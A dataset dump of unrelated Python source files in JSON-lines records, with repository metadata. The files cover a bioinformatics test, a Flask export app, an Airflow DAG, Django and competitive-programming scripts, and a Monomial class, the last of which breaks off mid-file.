expected_dict)\r\n\r\n # Process Inputs and outputs\r\n expected_dict['processSequence'][0]['inputs'] = [{\"@id\": \"sample_id\"}]\r\n assay = Assay()\r\n indexes.add_sample(Sample(id_='sample_id'))\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n expected_dict['processSequence'][0]['inputs'] = [{\"@id\": \"assay_other_material_id\"}]\r\n assay = Assay()\r\n indexes.add_sample(Material(id_='assay_other_material_id'))\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n expected_dict['processSequence'][0]['inputs'] = [{\"@id\": \"assay_data_file_id\"}]\r\n assay = Assay()\r\n indexes.add_sample(DataFile(id_='assay_data_file_id'))\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n expected_dict['processSequence'][0]['outputs'] = [\r\n {\"@id\": \"sample_id\"},\r\n {\"@id\": \"assay_other_material_id\"},\r\n {\"@id\": \"assay_data_file_id\"}\r\n ]\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n\r\n # Parameter Values\r\n expected_dict['processSequence'][0]['parameterValues'] = [\r\n {\r\n \"category\": {\"@id\": \"#parameter/Array_Design_REF\"},\r\n \"value\": \"a value\"\r\n }\r\n ]\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.process_sequence[0].array_design_ref, \"a value\")\r\n\r\n expected_dict['processSequence'][0]['parameterValues'][0] = {\r\n \"category\": {\"@id\": \"parameter_id\"},\r\n \"value\": 123,\r\n }\r\n indexes.add_parameter(ProtocolParameter(id_='parameter_id', comments=[]))\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n\r\n expected_dict['processSequence'][0]['parameterValues'][0]['unit'] = {\"@id\": \"unit_id\"}\r\n indexes.add_unit(OntologyAnnotation(id_='unit_id'))\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n\r\n expected_dict['processSequence'][0]['parameterValues'] = [\r\n {\r\n 'category': {'@id': 'parameter_id'},\r\n 'value': {\r\n '@id': 'parameter_id',\r\n 'annotationValue': '',\r\n 'comments': [],\r\n 'termAccession': '',\r\n 'termSource': ''\r\n }\r\n }\r\n ]\r\n indexes.add_characteristic_category(ProtocolParameter(id_='parameter_id'))\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict(), expected_dict)\r\n\r\n expected_dict['processSequence'][0]['parameterValues'] = [{\"value\": 123}]\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n\r\n expected_dict['processSequence'][0] = {\r\n \"executesProtocol\": {\"@id\": \"my_protocol_id\"},\r\n \"name\": \"my process\",\r\n \"comments\": [],\r\n \"date\": \"\",\r\n 'inputs': [],\r\n 'outputs': [],\r\n 'parameterValues': [],\r\n 'performer': '',\r\n \"@id\": \"my_process_sequence_id\",\r\n 'previousProcess': {'@id': 'previous_process_id'},\r\n 'nextProcess': {'@id': 'next_process_id'}\r\n }\r\n indexes.add_process(Process(id_='previous_process_id'))\r\n indexes.add_process(Process(id_='next_process_id'))\r\n assay = Assay()\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(assay.to_dict()['processSequence'][0], expected_dict['processSequence'][0])\r\n\r\n def test_io_errors_in_load(self):\r\n error_msg = \"Could not find input node in samples or materials or data dicts: error_id\"\r\n expected_dict = {\r\n 'measurementType': {},\r\n 'technologyType': {},\r\n 'technologyPlatform': '',\r\n 'filename': 'file',\r\n 'characteristicCategories': [],\r\n 'unitCategories': [],\r\n 'comments': [],\r\n 'materials': {\r\n 'samples': [],\r\n 'otherMaterials': []\r\n },\r\n 'dataFiles': [],\r\n 'processSequence': [\r\n {\"executesProtocol\": {\"@id\": \"123\"}, \"inputs\": [{\"@id\": \"error_id\"}]}\r\n ]\r\n }\r\n indexes.add_protocol(Protocol(id_='123'))\r\n assay = Assay()\r\n study = Study()\r\n with self.assertRaises(IOError) as context:\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(str(context.exception), error_msg)\r\n\r\n error_msg = \"Could not find output node in samples or materials or data dicts: another_error_id\"\r\n expected_dict['processSequence'][0]['outputs'] = [{\"@id\": \"another_error_id\"}]\r\n indexes.add_sample(Sample(id_='error_id'))\r\n assay = Assay()\r\n with self.assertRaises(IOError) as context:\r\n assay.from_dict(expected_dict, study)\r\n self.assertEqual(str(context.exception), error_msg)\r\n","repo_name":"ISA-tools/isa-api","sub_path":"tests/model/test_assay.py","file_name":"test_assay.py","file_ext":"py","file_size_in_byte":16850,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"48"} +{"seq_id":"42942216904","text":"\nimport datetime\nimport json\nimport os\nimport subprocess\nimport urllib2\nfrom flask import Blueprint\nfrom flask import request\nfrom flask import render_template, url_for, flash\nfrom flask import send_from_directory, redirect\n\nimport datasets\nimport dataops\nfrom app import app, db\nfrom models import ExportJob, ExportJobSelectVariable, ExportJobIncludeValue\nfrom models import Downloads\nfrom security import find_or_create_user\n\n\nviews = Blueprint(\"views\", __name__, template_folder=\"templates\")\n\n\ndef launch_job(job):\n path = os.path.abspath(os.path.dirname(__file__))\n job_script = os.path.join(path, '..', 'manage.py')\n job.pid = subprocess.Popen([job_script, 'export_job', str(job.id)]).pid\n db.session.commit()\n\n\ndef make_job_from_form():\n user = find_or_create_user(request.form.get('email'))\n job = ExportJob()\n job.user_id = user.id\n job.dataset_name = request.form.get('dataset_name')\n job.do_sampling = int(request.form.get('do_sampling') == 'on')\n job.sample_percent = int(float(request.form.get('sample_percent')))\n job.status = 'new'\n db.session.add(job)\n db.session.commit()\n return job\n\n\ndef make_select_vars_from_form(job_id):\n for selected_variable in request.form.getlist('select_vars'):\n var_record = ExportJobSelectVariable()\n var_record.job_id = job_id\n var_record.selected_variable = selected_variable\n db.session.add(var_record)\n db.session.commit()\n\n\ndef make_filter_vars_from_form(job_id, dataset_name):\n for field in dataops.all_datasets_fields()[dataset_name]:\n key = \"filter_vars_\" + field\n app.logger.info(\"check for filter key: \" + key)\n for value in request.form.getlist(key):\n app.logger.info(\"found value: \" + value)\n val_record = ExportJobIncludeValue()\n val_record.job_id = job_id\n val_record.variable_name = field\n val_record.variable_value = value\n db.session.add(val_record)\n db.session.commit()\n\n\ndef note_download(job_id):\n download = Downloads()\n download.job_id = job_id\n download.ip = request.environ['REMOTE_ADDR']\n download.downloaded_at = datetime.datetime.utcnow()\n job = ExportJob().query.get(job_id)\n job.status = 'downloaded'\n db.session.add(job)\n db.session.add(download)\n db.session.commit()\n\n\n# https://github.com/eternnoir/flask-nocaptcha-recaptcha/blob/master/app.py\ndef checkRecaptcha(response, secretkey):\n if response is None:\n return False\n url = 'https://www.google.com/recaptcha/api/siteverify?'\n url = url + 'secret=' + secretkey\n url = url + '&response=' + response\n try:\n jsonobj = json.loads(urllib2.urlopen(url).read())\n if jsonobj['success']:\n return True\n else:\n return False\n except Exception as e:\n print(e)\n return False\n\n\n@views.route('/')\ndef index():\n field_values = dataops.all_datasets_key_fields_unique_values()\n dataset_fields = dataops.all_datasets_fields()\n dataset_record_count = dataops.dataset_record_counts()\n first_dataset = datasets.datasets.items()[0][0]\n return render_template('index.html',\n site_key=app.config['RECAPTHA_SITE_KEY'],\n datasets=datasets.datasets,\n field_values=field_values,\n dataset_fields=dataset_fields,\n dataset_record_count=dataset_record_count,\n first_dataset=first_dataset)\n\n\n@views.route('/download/')\ndef download(job_id):\n zip_fname = 'export_' + str(job_id) + '.zip'\n directory = os.path.join(app.config['BASE_DIR'], 'exports')\n result = send_from_directory(directory, zip_fname, as_attachment=True)\n note_download(job_id)\n return result\n\n\n@views.route('/submit_job', methods=['POST'])\ndef submit_job():\n response = request.form.get('g-recaptcha-response')\n secret_key = app.config['RECAPTHA_SECRET_KEY']\n if secret_key == '' or checkRecaptcha(response, secret_key):\n job = make_job_from_form()\n make_select_vars_from_form(job.id)\n make_filter_vars_from_form(job.id, job.dataset_name)\n launch_job(job)\n flash('Job submitted. We will e-mail you when your export is ready.')\n else:\n flash('Invalid captcha. Job not submitted.')\n return redirect(url_for('views.index'))\n","repo_name":"scilaw/flask-data-export","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70186908625","text":"firstname = input('What is your first name? \\n')\nsecondname = input('what is your second name \\n')\n\nprint('Hello ' +firstname +' ' +secondname)\n\nnumber1 = float(input(\"Please enter the first number: \"))\nnumber2 = float(input(\"Please enter the second number: \"))\nanswer = number1 + number2\n\nprint(number1, \"+\", number2, \"=\", answer)\n\nprint(\"Hello World\".replace(\"Hello\", \"goodbye\"))","repo_name":"Lew-vitta/QA-Python","sub_path":"practise/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27605910966","text":"import csv\nimport os\n\nimport django\n\nfrom debby import settings\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'debby.settings'\ndjango.setup()\n\n\ndef run():\n from consult_food.models import FoodModel, NutritionModel, NutritionTuple\n from debby import utils\n chat_table_dir = os.path.join(settings.PROJECT_DIR, 'chat_table')\n file_path = os.path.join(chat_table_dir, 'fast_food.csv')\n\n with open(file_path, encoding='utf-8') as file:\n reader = csv.DictReader(file)\n for row in reader:\n print(row['name'])\n nutrition = NutritionTuple(name=row['name'],\n gram=utils.to_number(row['gram']),\n calories=utils.to_number(row['calories']),\n protein=utils.to_number(row['protein']),\n fat=utils.to_number(row['fat']),\n carbohydrates=utils.to_number(row['carbohydrates']))\n nutrition_model = NutritionModel.objects.create(**nutrition._asdict())\n nutrition_model.make_and_save_calories_image()\n\n food_model = FoodModel()\n food_model.name = row['name']\n food_model.count_word = row['count_word']\n food_model.source = row['source']\n food_model.nutrition = nutrition_model\n food_model.synonyms.create(synonym=food_model.name)\n food_model.save()\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"METOLOGY/debby-django","sub_path":"debby/consult_food/scripts/add_fast_food.py","file_name":"add_fast_food.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16044847731","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport os\nimport glob\nfrom datetime import datetime,timedelta,date\nfrom obspy import read,UTCDateTime,Trace\nimport numpy as np\nfrom scipy.io import wavfile\n\nimport pandas as pd\nfrom multiprocessing import Pool, RLock, freeze_support\nfrom tqdm.auto import tqdm\nimport time\n\nimport matplotlib.dates as mdates\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib.dates import YearLocator, MonthLocator, DayLocator, HourLocator, MinuteLocator, SecondLocator, DateFormatter\nfrom matplotlib.ticker import MultipleLocator, FormatStrFormatter\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\n\n# ======\n# Config\n# ======\n\nwav_file_dir = '/home/diogoloc/dados_posdoc/gliders_project/gliders_data/WAV_DATA/'\n\nFOLDER_OUTPUT = '/home/diogoloc/dados_posdoc/gliders_project/OUTPUT/'\n\n# ========\n# Function\n# ========\n\ndef dataframe_extraction_from_wavfile(i):\n '''\n i: .wav file file.\n '''\n\n try:\n \n subdir, filename = os.path.split(i)\n mergulho = filename.split('.wav')[0].split('_')[0].split('a')[1]\n stream_number = filename.split('.wav')[0].split('_')[1]\n\n year_month_day = filename.split('.wav')[0].split('_')[2]\n hour_minute_second = filename.split('.wav')[0].split('_')[3]\n\n year = int('20'+year_month_day[:2])\n month = int(year_month_day[2:4])\n day = int(year_month_day[4:])\n\n hour = int(hour_minute_second[:2])\n minute = int(hour_minute_second[2:4])\n second = int(hour_minute_second[4:])\n\n d = UTCDateTime(datetime(year,month,day,hour,minute,second).isoformat())\n #----------------------------\n #Starting Dataframe\n\n st = read(i,format='WAV',headonly=True)\n starttime = d.datetime\n endtime = (d+(st[0].stats.npts/st[0].stats.sampling_rate)).datetime\n n_minutes = round((endtime - starttime).total_seconds() / 60.0)\n hour_day = starttime.hour\n sampling_rate = st[0].stats.sampling_rate\n delta = st[0].stats.delta\n npts = st[0].stats.npts\n\n df = pd.DataFrame([[filename],[mergulho],[stream_number],[sampling_rate],[delta],[npts],[starttime],[endtime],[hour_day],[n_minutes]], index=['filename', 'mergulho', 'stream_number','sampling_rate','delta','npts','starttime','endtime','hour_day','number_of_minutes']).T\n #Ending Dataframe\n #----------------------------\n\n return df\n \n except:\n pass\n#----------------------------\n\ndef downsampling_function(i, sampling_rate=100):\n \"\"\"\n Decimate a trace to achieve the desired sampling rate, sr.\n\n NOTE: data will be detrended and a cosine taper applied before\n decimation, in order to avoid edge effects when applying the lowpass\n filter before decimating.\n\n source: https://quakemigrate.readthedocs.io/en/latest/_modules/quakemigrate/util.html#decimate\n\n Parameters:\n -----------\n i : .WAV file path\n Stream to be decimated.\n sampling_rate : int\n Output sampling rate.\n\n Returns:\n --------\n trace : `obspy.Trace.stats` object\n Decimated trace.\n\n \"\"\"\n try:\n\n subdir, filename = os.path.split(i)\n mergulho = filename.split('.wav')[0].split('_')[0].split('a')[1]\n stream_number = filename.split('.wav')[0].split('_')[1]\n\n year_month_day = filename.split('.wav')[0].split('_')[2]\n hour_minute_second = filename.split('.wav')[0].split('_')[3]\n\n year = int('20'+year_month_day[:2])\n month = int(year_month_day[2:4])\n day = int(year_month_day[4:])\n\n hour = int(hour_minute_second[:2])\n minute = int(hour_minute_second[2:4])\n second = int(hour_minute_second[4:])\n\n d = UTCDateTime(datetime(year,month,day,hour,minute,second).isoformat())\n\n #----------------------------\n #Collecting wav data\n\n sampleratetr, datatr = wavfile.read(i)\n\n tr = Trace(data=datatr)\n tr.stats.sampling_rate = sampleratetr\n tr.stats.starttime = d \n\n starttime = d.datetime\n endtime = (d+(tr.stats.npts/tr.stats.sampling_rate)).datetime\n n_minutes = round((endtime - starttime).total_seconds() / 60.0)\n hour_day = starttime.hour\n\n # Work on a copy of the trace\n trace = tr.copy()\n\n # Detrend and apply cosine taper\n trace.detrend('linear')\n trace.detrend('demean')\n trace.taper(type='cosine', max_percentage=0.05)\n\n # Zero-phase Butterworth-lowpass filter at Nyquist frequency\n trace.filter(\"lowpass\", freq=float(sampling_rate) / 2.000001, corners=2,zerophase=True)\n trace.decimate(factor=int(trace.stats.sampling_rate / sampling_rate), strict_length=False, no_filter=True)\n\n OUTPUT_TRACE = FOLDER_OUTPUT+'/MSEED/'+d.strftime(\"%Y\")+'/'+d.strftime(\"%Y-%m-%d\")+'/'\n os.makedirs(OUTPUT_TRACE,exist_ok=True)\n trace.write(OUTPUT_TRACE+filename.split('.')[0]+'.mseed', format='MSEED')\n\n return trace.stats.sampling_rate\n\n except:\n pass\n#----------------------------\n\ndef check_datetime_in_period(datetime_lst,dataf):\n '''\n Function to check if the dates in data set are inside the chosen time period\n \n '''\n array_to_plot_by_xlim = []\n for x,c in enumerate(datetime_lst):\n lista_temp = []\n for t,y in enumerate(dataf['DATETIME'].values):\n if y == c.date():\n lista_temp.append(np.array(dataf[dataf['DATETIME'] == y]['NUMBER_HOUR'].tolist()[0]))\n array_to_plot_by_xlim.append(lista_temp)\n \n data_x_axis = []\n for x,c in enumerate(array_to_plot_by_xlim):\n if c != []:\n data_x_axis.append(c[0])\n else:\n data_x_axis.append(np.zeros_like(np.arange(24)))\n\n data_x_axis = np.array(data_x_axis).T\n\n return data_x_axis\n#----------------------------\n\n# =======\n# Program\n# =======\n\nstart_time = time.time()\n\nwav_files_lst = sorted(glob.glob(wav_file_dir+'*/*/*.wav'))\n\nfiles_datetime_input = sorted(wav_files_lst)\n\n# ================================\n# Calculating waveforms parameters\n# ================================\n\ndf_lst = []\n\n# create and configure the process pool\nwith Pool() as pool:\n # execute tasks\n for result in tqdm(pool.imap_unordered(dataframe_extraction_from_wavfile, files_datetime_input),total=len(files_datetime_input), desc='WAV files processing'):\n df_lst.append(result)\n# process pool is closed automatically\n\ndataframe_final = pd.concat(df_lst, ignore_index=True)\n\ndataframe_final['DayMonthYear'] = dataframe_final['starttime'].dt.strftime(\"%Y-%m-%d\")\n\nday_date_lst = sorted(list(set(dataframe_final['DayMonthYear'].values)))\n\n# creating the array to plot\ndataframe_lista = []\n\nfor day_date in tqdm(day_date_lst,total=len(day_date_lst), desc='Calculatig minutes per hour'):\n NUMBER_HOUR = []\n df_day = dataframe_final[dataframe_final['DayMonthYear'] == day_date]\n for g,h in enumerate(np.arange(24)):\n df_hour = df_day[df_day['hour_day'] == h]\n n_minutes_day = df_hour['number_of_minutes'].sum()\n NUMBER_HOUR.append(n_minutes_day)\n \n dataframe_lista.append(pd.DataFrame([date.fromisoformat(day_date),NUMBER_HOUR], index=['DATETIME','NUMBER_HOUR']).T)\n\ndf_to_plot = pd.concat(dataframe_lista, ignore_index=True)\n\n# ==========================================================\n# Calculating datetime between INITIAL_DATE and FINAL_DATE\n# ==========================================================\n\ndatatime_initial = df_to_plot['DATETIME'].values[0]\n\ndatatime_final = df_to_plot['DATETIME'].values[-1]\n\ndatetime_lista = np.arange(datatime_initial, datatime_final, timedelta(days=1)).astype(datetime)\n\nxlim_initial = mdates.date2num(datatime_initial)\nxlim_final = mdates.date2num(datatime_final)\n\n# ==========================\n# Plotting DATA availability\n# ==========================\n#x axis parameters\n\ndays1 = DayLocator(interval=5) # every day\nmonths = MonthLocator() # every month\nmonthsFmt = DateFormatter('%b-%y')\ndaysFmt = DateFormatter('%-d')\n\n#Matplotlib parameters\nfig, ax = plt.subplots(nrows=1, ncols=1,figsize=(20,5))\n\ndata_x_axis = check_datetime_in_period(datetime_lista,df_to_plot)\ndatetime_pcolormesh = np.arange(datatime_initial, datatime_final+timedelta(days=1), timedelta(days=1)).astype(datetime)\n\nim = ax.pcolormesh(datetime_pcolormesh,np.arange(25),data_x_axis,cmap='gist_heat_r', vmin=0, vmax=60,shading='flat',ec='k')\nax.set_xlim(datatime_initial,datatime_final)\nax.yaxis.set_major_locator(MultipleLocator(4))\nax.yaxis.set_minor_locator(MultipleLocator(1))\nax.xaxis.set_major_locator(months)\nax.xaxis.set_major_formatter(monthsFmt)\nax.xaxis.set_minor_locator(days1)\nax.xaxis.set_minor_formatter(daysFmt)\nax.tick_params(which='minor', length=2)\nax.tick_params(which='major', length=20)\nax.set_ylim(0,24)\nax.set_ylabel('Hora do Dia',fontsize=15)\nax.grid(visible=True, which='major', color='k', linestyle='-')\nax.grid(visible=True, which='minor', color='k', linestyle='-')\n\nplt.setp(ax.xaxis.get_majorticklabels(), fontsize=20)\nplt.setp(ax.xaxis.get_minorticklabels(), fontsize=15)\n\n#criando a localização da barra de cores:\naxins = inset_axes(ax,\n width=\"10%\", # width = 15% of parent_bbox width\n height=\"2.5%\", # height : 2.5%\n loc='upper left',\n bbox_to_anchor=(0.85, 0.05, 1, 1),\n bbox_transform=ax.transAxes,\n borderpad=0,\n )\ncbar = fig.colorbar(im, cax=axins, orientation=\"horizontal\", ticklocation='top',ticks=[0,20,40,60],label='Minutos/hora')\n\nos.makedirs(FOLDER_OUTPUT+'/FIGURAS/',exist_ok=True)\nfig.savefig(FOLDER_OUTPUT+'/FIGURAS/'+'COMPLETENESS_'+datatime_initial.strftime(\"%Y.%m.%d\")+datatime_final.strftime(\"%Y.%m.%d\")+'.png',dpi=300)\n\n# =========================\n# Converting wav into mseed\n# =========================\n\nsr_lst = []\n# create and configure the process pool\nwith Pool(processes=3) as pool:\n # execute tasks\n for result in tqdm(pool.imap_unordered(downsampling_function, files_datetime_input),total=len(files_datetime_input), desc='Converting WAV --> MSEED'):\n sr_lst.append(result)\n# process pool is closed automatically\n\nprint(list(set(sr_lst)))\n\nprint(\"--- %.2f execution time (min) ---\" % ((time.time() - start_time)/60))\nprint(str(len(files_datetime_input))+' waveforms processed!')\nprint('\\n')","repo_name":"dIOGOLOC/marefone","sub_path":"diverse_tools/Downloading_data/downsampling_conversion_wav_mseed.py","file_name":"downsampling_conversion_wav_mseed.py","file_ext":"py","file_size_in_byte":10380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15425130976","text":"# 재미있는 오셸로 게임\nimport sys\nsys.stdin = open('sample_input.txt')\n\n# 위쪽부터 시계방향\ndx = [0, 1, 1, 1, 0, -1, -1, -1]\ndy = [-1, -1, 0, 1, 1, 1, 0, -1]\n\nt = int(input())\n\nfor tc in range(1, t+1):\n board_width, playcount = map(int,input().split())\n board = [[0] * board_width for _ in range(board_width)]\n\n # 보드 초기 설정\n standard = board_width//2\n # 2 = 백돌, 1 = 흑돌\n board[standard][standard] = 2\n board[standard-1][standard-1] = 2\n board[standard - 1][standard] = 1\n board[standard][standard - 1] = 1\n\n for p in range(playcount):\n col, row, color = map(int,input().split())\n # 행, 열 좌표값 보정(인덱스 에러 방지)\n col -= 1\n row -= 1\n # 돌 새로 두기 : 둘 자리에 아무 돌도 없으면 플레이 가능\n if board[col][row] == 0:\n board[col][row] = color\n \n # 돌을 새로 둔 위치를 기준으로 땅따먹기\n for direction in range(8):\n change_color = [] # 색깔 바꿀 좌표\n nx = row + dx[direction]\n ny = col + dy[direction]\n while True:\n # 유효하지 않은 좌표 or 빈 땅에 땅따먹기를 시도하는 경우 즉시 중단\n if ny < 0 or ny >= board_width or nx < 0 or nx >= board_width or board[ny][nx] == 0:\n change_color = []\n break\n # 같은 색깔 돌 만나면 탐색 중단\n elif board[ny][nx] == color:\n break\n # 이상 없으면 같은 방향으로 계속 땅따먹기 시도\n change_color.append((ny, nx))\n nx += dx[direction]\n ny += dy[direction]\n \n # 색상 반전 적용\n for cy, cx in change_color:\n board[cy][cx] = color\n\n # 결과 정산\n black = 0 # 1 = 흑돌\n white = 0 # 2 = 백돌\n for col in range(board_width):\n for row in range(board_width):\n if board[col][row] == 1:\n black += 1\n elif board[col][row] == 2:\n white += 1\n\n print(f'#{tc}', black, white)","repo_name":"JhinJeon/SWEA","sub_path":"D3/4615/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5884214703","text":"# https://www.acmicpc.net/problem/1107\nimport sys\nimport math\n\n\ndef only_updown(n, p):\n if n < p:\n return p - n\n else:\n return n - p\n\n\ndef num2list(n):\n split = list()\n if n == 0:\n return [0]\n while n != 0:\n split.append(n % 10)\n n = n // 10\n\n return split[::-1]\n\n\ndef close_n(n, broken):\n if len(broken) == 10:\n return 100\n l = 0\n\n while True:\n minus = n - l\n if minus > -1:\n split_minus = num2list(minus)\n\n varify = True\n for i in split_minus:\n if i in broken:\n varify = False\n break\n\n if varify:\n return minus\n\n plus = n + l\n split_plus = num2list(plus)\n\n varify = True\n for i in split_plus:\n if i in broken:\n varify = False\n break\n\n if varify:\n return plus\n\n l = l + 1\n\n\nn = int(sys.stdin.readline()[:-1])\nm = int(sys.stdin.readline()[:-1])\nbroken = list(map(int, sys.stdin.readline()[:-1].split(' '))) if m > 0 else list()\n\ntemp = close_n(n, broken)\nl = int(math.log10(temp)) + 1 if temp != 0 else 1\nprint(min(only_updown(n, 100), only_updown(n, temp) + l))\n","repo_name":"ysy9997/algorithm","sub_path":"Baekjoon/1107.py","file_name":"1107.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11728027331","text":"\"\"\"\nGiven the head of a singly linked list, return the middle node of the linked list.\n\nIf there are two middle nodes, return the second middle node.\n---------------\nspeed\nO(n)\n\nmemory\nO(1)\n\n\"\"\"\n\nfrom typing import Optional\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n def len(self, head):\n tmp = head\n cnt = 0\n while tmp:\n cnt += 1\n tmp = tmp.next\n return cnt\n\n def middleNode(self, head: Optional[ListNode]) -> Optional[ListNode]:\n length = self.len(head)\n\n if length % 2 == 0:\n middle = int(length / 2) + 1\n middle = int(length / 2)\n\n result = head\n while middle != 0:\n result = result.next\n middle = middle - 1\n return result\n\n\nlist_node = ListNode(1, ListNode(7, ListNode(7, ListNode(1))))\n\nprint(Solution().middleNode(list_node))\n","repo_name":"ZombieCait/practice","sub_path":"easy/876_middle_of_the_linked_list.py","file_name":"876_middle_of_the_linked_list.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34364982585","text":"import os\nimport pandas as pd\nfrom datetime import datetime\nfrom typing import Optional\nfrom typing_extensions import Final\nfrom sqlalchemy import create_engine\n\nfrom airflow import DAG\nfrom airflow.operators.bash import BashOperator\nfrom airflow.operators.python import PythonOperator\nfrom airflow.providers.postgres.hooks.postgres import PostgresHook\n\ndefault_args = {\"owner\": \"airflow\"}\n\nPOSTGRES_CONN_ID: Final[Optional[str]] = os.environ.get(\"POSTGRES_CONN_ID\")\nBUCKET_NAME: Final[Optional[str]] = os.environ.get(\"BUCKET_NAME\")\nAIRFLOW_HOME: Final[Optional[str]] = os.environ.get(\"AIRFLOW_HOME\", \"/opt/airflow\")\n\nURL = \"https://github.com/ankurchavda/streamify/raw/main/dbt/seeds/songs.csv\"\nCSV_FILENAME: Final[Optional[str]] = \"songs.csv\"\n\nCSV_OUTFILE = f\"{AIRFLOW_HOME}/{CSV_FILENAME}\"\nTABLE_NAME = \"songs\"\n\n\ndef upload_to_database(csv_file: str) -> None:\n if not csv_file.endswith(\"csv\"):\n raise ValueError(\"The input file is not in csv format\")\n\n conn = PostgresHook(postgres_conn_id=POSTGRES_CONN_ID)\n engine = create_engine(conn.get_uri())\n dataframe = pd.read_csv(csv_file)\n dataframe.to_sql(\n TABLE_NAME, engine, if_exists=\"append\", index=False, schema=\"songs\"\n )\n\n\nwith DAG(\n dag_id=f\"load_songs_dag\",\n default_args=default_args,\n description=f\"Execute only once to create songs table in PostgreSQL\",\n schedule_interval=\"@once\",\n start_date=datetime(2023, 8, 21),\n end_date=datetime(2023, 8, 21),\n catchup=True,\n tags=[\"streamify\"],\n) as dag:\n download_songs_file_task = BashOperator(\n task_id=\"download_songs_file\", bash_command=f\"curl -sSLf {URL} > {CSV_OUTFILE}\"\n )\n\n upload_to_database_task = PythonOperator(\n task_id=\"upload_to_database\",\n python_callable=upload_to_database,\n op_kwargs={\"csv_file\": CSV_OUTFILE},\n )\n\n remove_files_from_local_task = BashOperator(\n task_id=\"remove_files_from_local\",\n bash_command=f\"rm {CSV_OUTFILE}\",\n )\n\n (\n download_songs_file_task\n >> upload_to_database_task\n >> remove_files_from_local_task\n )\n","repo_name":"f-lab-edu/music-stream-data-pipeline","sub_path":"airflow/dags/load_music_dag.py","file_name":"load_music_dag.py","file_ext":"py","file_size_in_byte":2094,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"10660624431","text":"from fractions import Fraction\nfrom functools import reduce\nfrom math import gcd as math_gcd\n\nfrom .variables import VariablesDict\n\n\nclass Monomial:\n \"\"\"\n A Monomial is the product of a coefficient and\n some variables.\n\n Monomials can be added, subtracted, multiplied\n and divided togheter (and with numbers).\n lcm and gcd between monomials (and numbers) is\n available, too.\n\n You can also assign a value to the variables and\n calculate the value of that monomial with the\n value you assigned.\n \"\"\"\n\n def __init__(self, coefficient=1, variables=VariablesDict(), **kwargs):\n \"\"\"\n Creates a new Monomial.\n The default `coefficient` value is 1 (so it can be omitted);\n variables instead are empty for default\n\n >>> Monomial(17, k=3)\n 17k**3\n >>> Monomial()\n 1\n\n Every `coefficient` will be transformed in an instance of :class:`Fraction`\n\n >>> type(Monomial(7, a=2).coefficient)\n \n\n Monomials can also be initialized by passing a dictionary\n (or anything similar) where are stored the variables:\n\n >>> Monomial(2, {'x': 2, 'y': 1})\n 2x**2y\n\n Variables will be stored in a `VariableDict`.\n For more infos, see :func:`VariablesDict.__init__()`.)\n\n Once initialized the monomial, it\n calculates the monomial's total degree\n (which is the sum of the variables' degrees)\n\n >>> Monomial(-2, a=2, b=1, c=3).degree\n 6\n\n :type coefficient: int, float, Fraction\n :type coefficient: dict, VariablesDict\n :raise: ValueError, TypeError\n \"\"\"\n\n # adjust arguments' order\n if isinstance(coefficient, dict) and not variables:\n variables = coefficient\n coefficient = 1\n elif not variables:\n variables = kwargs\n\n # Check the coefficient\n if isinstance(coefficient, (int, float)):\n self.coefficient = Fraction(coefficient)\n elif isinstance(coefficient, Fraction):\n self.coefficient = coefficient\n else:\n raise TypeError(\"Coefficient must be int or float\")\n\n # Check the variables\n self.variables = VariablesDict(variables)\n\n # Calculate the degree\n self.degree = sum(self.variables.exponents())\n\n ### Utility Methods ###\n\n def similar_to(self, other):\n \"\"\"\n Checks if two monomials are similar (if\n the have the same variables).\n\n >>> m = Monomial(3, x=1, y=1)\n >>> m.similar_to(Monomial(3.14))\n False\n >>> m.similar_to(Monomial(2, x=1, y=1))\n True\n\n If the second operand is not a monomial\n the result will always be `False`\n\n >>> m.similar_to(\"\")\n False\n\n When a monomial has no variables, if\n compared to a number the result will be `True`\n\n >>> Monomial(6).similar_to(Fraction(1, 3))\n True\n\n :type other: Monomial, int, float, Fraction\n :rtype: bool\n \"\"\"\n\n if self.variables.is_empty and isinstance(other, (int, float, Fraction)):\n return True\n elif not isinstance(other, Monomial):\n return False\n\n return self.variables == 